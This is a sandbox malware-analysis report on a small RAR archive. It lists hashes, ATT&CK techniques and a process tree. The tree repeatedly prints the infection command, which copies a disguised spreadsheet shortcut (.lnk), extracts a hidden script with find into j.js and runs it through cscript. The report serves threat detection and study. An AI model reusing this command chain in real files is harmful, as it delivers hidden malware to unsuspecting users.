ae23feb9de28ffad320cc279efbae76aa4a501923eab846b804ec400c3cca0e3

Resubmissions

10/06/2024, 09:34

240610-lj74fsfh48 7

10/06/2024, 09:30

240610-lgnl2afh27 3

10/06/2024, 09:21

240610-lbl61sfb31 1

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10/06/2024, 09:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aaaaa.rar
Size

826B
MD5

31dc7e890d24acd56f5187edbec4de3f
SHA1

6b46555f8f417a7f0b060988e13f9e23efccf9ef
SHA256

ae23feb9de28ffad320cc279efbae76aa4a501923eab846b804ec400c3cca0e3
SHA512

f3f42a4d2ba6ee0f48079fc2a0cadc8785d3c3b701355ba6476214056e9ba84d490c7106e79e292a558010b5875d269adbbfbaca73935df9945959b57577c716

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2568	7zFM.exe
2568	7zFM.exe
2568	7zFM.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2568	7zFM.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeRestorePrivilege	2568	7zFM.exe
Token: 35	2568	7zFM.exe
Token: SeSecurityPrivilege	2568	7zFM.exe
Token: SeSecurityPrivilege	2568	7zFM.exe
Token: SeSecurityPrivilege	2568	7zFM.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
2568	7zFM.exe
2568	7zFM.exe
2568	7zFM.exe
2568	7zFM.exe
2568	7zFM.exe
2568	7zFM.exe
2568	7zFM.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2972 wrote to memory of 2568	2972	cmd.exe	29
PID 2972 wrote to memory of 2568	2972	cmd.exe	29
PID 2972 wrote to memory of 2568	2972	cmd.exe	29
PID 2568 wrote to memory of 2596	2568	7zFM.exe	30
PID 2568 wrote to memory of 2596	2568	7zFM.exe	30
PID 2568 wrote to memory of 2596	2568	7zFM.exe	30
PID 2596 wrote to memory of 2484	2596	cmd.exe	32
PID 2596 wrote to memory of 2484	2596	cmd.exe	32
PID 2596 wrote to memory of 2484	2596	cmd.exe	32
PID 2596 wrote to memory of 2532	2596	cmd.exe	33
PID 2596 wrote to memory of 2532	2596	cmd.exe	33
PID 2596 wrote to memory of 2532	2596	cmd.exe	33
PID 2596 wrote to memory of 2912	2596	cmd.exe	34
PID 2596 wrote to memory of 2912	2596	cmd.exe	34
PID 2596 wrote to memory of 2912	2596	cmd.exe	34
PID 2568 wrote to memory of 1892	2568	7zFM.exe	35
PID 2568 wrote to memory of 1892	2568	7zFM.exe	35
PID 2568 wrote to memory of 1892	2568	7zFM.exe	35
PID 1892 wrote to memory of 2512	1892	cmd.exe	37
PID 1892 wrote to memory of 2512	1892	cmd.exe	37
PID 1892 wrote to memory of 2512	1892	cmd.exe	37
PID 1892 wrote to memory of 2764	1892	cmd.exe	38
PID 1892 wrote to memory of 2764	1892	cmd.exe	38
PID 1892 wrote to memory of 2764	1892	cmd.exe	38
PID 1892 wrote to memory of 2788	1892	cmd.exe	39
PID 1892 wrote to memory of 2788	1892	cmd.exe	39
PID 1892 wrote to memory of 2788	1892	cmd.exe	39
PID 2568 wrote to memory of 1696	2568	7zFM.exe	42
PID 2568 wrote to memory of 1696	2568	7zFM.exe	42
PID 2568 wrote to memory of 1696	2568	7zFM.exe	42
PID 1696 wrote to memory of 660	1696	cmd.exe	44
PID 1696 wrote to memory of 660	1696	cmd.exe	44
PID 1696 wrote to memory of 660	1696	cmd.exe	44
PID 1696 wrote to memory of 1668	1696	cmd.exe	45
PID 1696 wrote to memory of 1668	1696	cmd.exe	45
PID 1696 wrote to memory of 1668	1696	cmd.exe	45
PID 1696 wrote to memory of 380	1696	cmd.exe	46
PID 1696 wrote to memory of 380	1696	cmd.exe	46
PID 1696 wrote to memory of 380	1696	cmd.exe	46

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\aaaaa.rar
1⤵
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\aaaaa.rar"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy "국방품질경영체제(DQMS)_인증업체_현황_V3.0(1).xlsx.lnk" /B C:\Users\Admin\AppData\Local\Temp\\edg863F8.tmp /y&type C:\Users\Admin\AppData\Local\Temp\\edg863F8.tmp|find "vJgAABhIBFhYoQwAACgdvR" >C:\Users\Admin\AppData\Local\Temp\\j.js&cscript.exe C:\Users\Admin\AppData\Local\Temp\\j.js
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2596
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" type C:\Users\Admin\AppData\Local\Temp\\edg863F8.tmp"
      4⤵
      PID:2484
  - - C:\Windows\system32\find.exe
      find "vJgAABhIBFhYoQwAACgdvR"
      4⤵
      PID:2532
  - - C:\Windows\system32\cscript.exe
      cscript.exe C:\Users\Admin\AppData\Local\Temp\\j.js
      4⤵
      PID:2912
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy "국방품질경영체제(DQMS)_인증업체_현황_V3.0(1).xlsx.lnk" /B C:\Users\Admin\AppData\Local\Temp\\edg863F8.tmp /y&type C:\Users\Admin\AppData\Local\Temp\\edg863F8.tmp|find "vJgAABhIBFhYoQwAACgdvR" >C:\Users\Admin\AppData\Local\Temp\\j.js&cscript.exe C:\Users\Admin\AppData\Local\Temp\\j.js
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" type C:\Users\Admin\AppData\Local\Temp\\edg863F8.tmp"
      4⤵
      PID:2512
  - - C:\Windows\system32\find.exe
      find "vJgAABhIBFhYoQwAACgdvR"
      4⤵
      PID:2764
  - - C:\Windows\system32\cscript.exe
      cscript.exe C:\Users\Admin\AppData\Local\Temp\\j.js
      4⤵
      PID:2788
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy "국방품질경영체제(DQMS)_인증업체_현황_V3.0(1).xlsx.lnk" /B C:\Users\Admin\AppData\Local\Temp\\edg863F8.tmp /y&type C:\Users\Admin\AppData\Local\Temp\\edg863F8.tmp|find "vJgAABhIBFhYoQwAACgdvR" >C:\Users\Admin\AppData\Local\Temp\\j.js&cscript.exe C:\Users\Admin\AppData\Local\Temp\\j.js
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1696
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" type C:\Users\Admin\AppData\Local\Temp\\edg863F8.tmp"
      4⤵
      PID:660
  - - C:\Windows\system32\find.exe
      find "vJgAABhIBFhYoQwAACgdvR"
      4⤵
      PID:1668
  - - C:\Windows\system32\cscript.exe
      cscript.exe C:\Users\Admin\AppData\Local\Temp\\j.js
      4⤵
      PID:380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\edg863F8.tmp

Filesize
1KB

MD5
73f5753466c587bc0a195545780aea8f

SHA1
cf9254fbd8981f17e06e06ee4b2914c4e6770363

SHA256
aa5af6d1864995cc384af3b01593ecd38b29b5a87f3f38bddc4aa2a269fc4d93

SHA512
cc214dbeb05df83c83769dd9503a68e7f66b01d101606617f3325158fedc0fbc475eb9f52d7666b264df0273c0bd554442529a3493b308d6c64b140dafaa0421

Download Submit